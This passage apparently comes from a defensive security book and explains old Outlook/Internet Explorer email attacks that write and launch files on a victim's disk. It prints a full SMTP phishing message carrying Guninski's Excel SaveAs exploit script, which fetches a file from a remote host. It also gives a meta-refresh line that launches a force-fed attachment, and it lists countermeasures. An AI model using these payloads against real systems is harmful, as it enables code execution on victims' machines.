To this point, we’ve talked about several mechanisms for executing files that might lie on a remote user’s disk, and the attacks listed so far have generally relied on existing executables to perform their dirty work (either on the remote server or on a local user’s disk). However, what if an attacker also had the ability to write files to the victim’s disk? This would provide a complete methodology for delivering a payload and then detonating it.
MHijacking Excel/PowerPoint’s SaveAs Function
Popularity: 5
Simplicity: 5
Impact: 8
Risk Rating: 6
The magic behind this attack comes from Georgi Guninski’s observation that MS Excel and PowerPoint have a SaveAs function (see http://www.guninski.com/ sheetex-desc.html). Thus, once an Office document is called within IE using the object tag (as we have seen before), it exposes the ability to save data to any arbitrary location on disk. Georgi’s exploit extracts the data to be saved directly from a file called Book1.xla, which is a simple Excel file renamed to .xla. Georgi uses the .xla extension so that the file is executed by Windows at boot time if placed in the Startup folder.
A slightly modified version of Georgi’s complete exploit encapsulated in our mail hacking format is shown next:
helo somedomain.com
mail from: <[email protected]> rcpt to: <[email protected]> data
subject: Check this out! Importance: high
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii <HTML>
<h2>Enticing message here!</h2>
<object data="http://www.guninski.com/Book1.xla" id="sh1" width=0 height=0> </object> <SCRIPT> function f() { fn=" D:\\test\\georgi-xla.hta"; sh1.object.SaveAs(fn,6);
alert(fn+" successfully written"); } setTimeout("f()",5000); </SCRIPT> </HTML> . quit
Georgi’s code is contained between the <object> and </SCRIPT> tags. We have modified it to access his Book1.xla file using its full URL. (His original exploit had the file available directly on the web server.) The content of Book1.xla is written to the file specified in the “fn=“ line. We also removed some commented lines from Georgi’s original code that showed how you could save the file to the Windows Startup folder. (We think you get the point.) Previewing this message in OE on NT 4 with the security zone set at Low first pops up a brief file transfer window, then the following message:
We’re lazy and used Georgi’s pre-built Book1.xla file as raw material here. It is harm- less (containing only a couple of lines of code that execute “Hello world” in a DOS shell window). However, with the growth of free and anonymous file repository services on the Internet, it would be simple for malicious attackers to create their own malicious Of- fice document and make it available for download. Misconfigured or compromised web or FTP servers would also make for a ripe depot for such files.
U
Countermeasure for Excel/PowerPoint File Writing Attacks
Need we say it again? Obtain the relevant patches from http://www.microsoft.com/ technet/security/bulletin/MS00-049.asp. This patch marks Excel and PowerPoint docs as “unsafe for scripting” (no snickering, please). Of course, you could stop putting Band- Aids all over your computer and staunch the bleeding entirely by disabling ActiveX in the appropriate manner, as described in the discussion on security zones earlier.
MForce Feeding Attachments
Popularity: 5
Simplicity: 2
Impact: 8
Risk Rating: 5
The people at http://www.malware.com suggested the phrase “force feeding” to de- scribe the mechanism they proposed for downloading a file to a user’s disk without his or her permission. The essence of malware.com’s exploit is their claim that Outlook/OE ig- nores user input when asked to dispatch a file attachment to an email message. Normally, when an email attachment is launched from within the mail reader, Outlook/OE prompts the user to Open, Save To Disk, or Cancel the action. Malware.com claimed that no matter what the user selected, the attachment was written to the Windows %temp% directory (C:\Windows\temp on Win 9x and C:\temp on NT). Win 2000’s temp folders are per-user and are harder to pin down with regularity if it is cleanly installed and not upgraded. Once deposited, the file was launched using a clever trick: the HTTP meta-refresh tag, which is used to redirect the browser silently and automatically to a page contained within the tag. For example:
<META HTTP-EQUIV="refresh" content="2;URL=http://www.othersite.com">
This code embedded in a web page will bounce viewers to www.othersite.com. The “con- tent=“ syntax tells the browser how long to wait before redirecting. Malware.com simply pointed the meta-refresh at one of the local files it deposited via force feeding:
<meta http-equiv="refresh" content="5;
url=mhtml:file://C:\WINDOWS\TEMP\lunar.mhtml">
The lunar.mhtml file, force-fed as an attachment to the original message, contained a link to a “safe for scripting” ActiveX control that launched a second attachment, an executable called mars.exe. Roundabout, but effective.
In the Bugtraq thread covering this finding, at least two quite reputable security au- thorities disagreed on whether this phenomenon actually worked as advertised. Testing by the authors of this book produced erratic results, but supported the idea that the
appropriate IE security zone (see earlier) used for mail reading in Outlook/OE had to be set to Low for this to occur, and it only occurred sporadically at that. We were successful at forcing an attachment to the temp directory on Win 98 SE and NT 4 Workstation sys- tems with zone security at Low on two occasions, but could not repeat this consistently. The mystery of force feeding à la malware.com remains unsolved.
This is a bit comforting. Think of the trouble this could cause in conjunction with Georgi Guninski’s exploit for executing code within MS Office documents. Attackers could send the Office document containing malicious code as an attachment, and then send a second message with the appropriate ActiveX tag embedded within the body of the message that pointed to the %temp% folder where the attachment gets force-fed, like it or not. (Georgi actually pulls this off—within the same message. See the next attack.)
Of course, as we’ve mentioned, the easy availability of free and anonymous file repos- itory services on the Internet makes the downloading of code to local disk unnecessary. By pointing malicious email messages at exploit code available on one of these services, an attacker guarantees the availability of the second part of such an attack, and it is a vir- tually untraceable perch at that.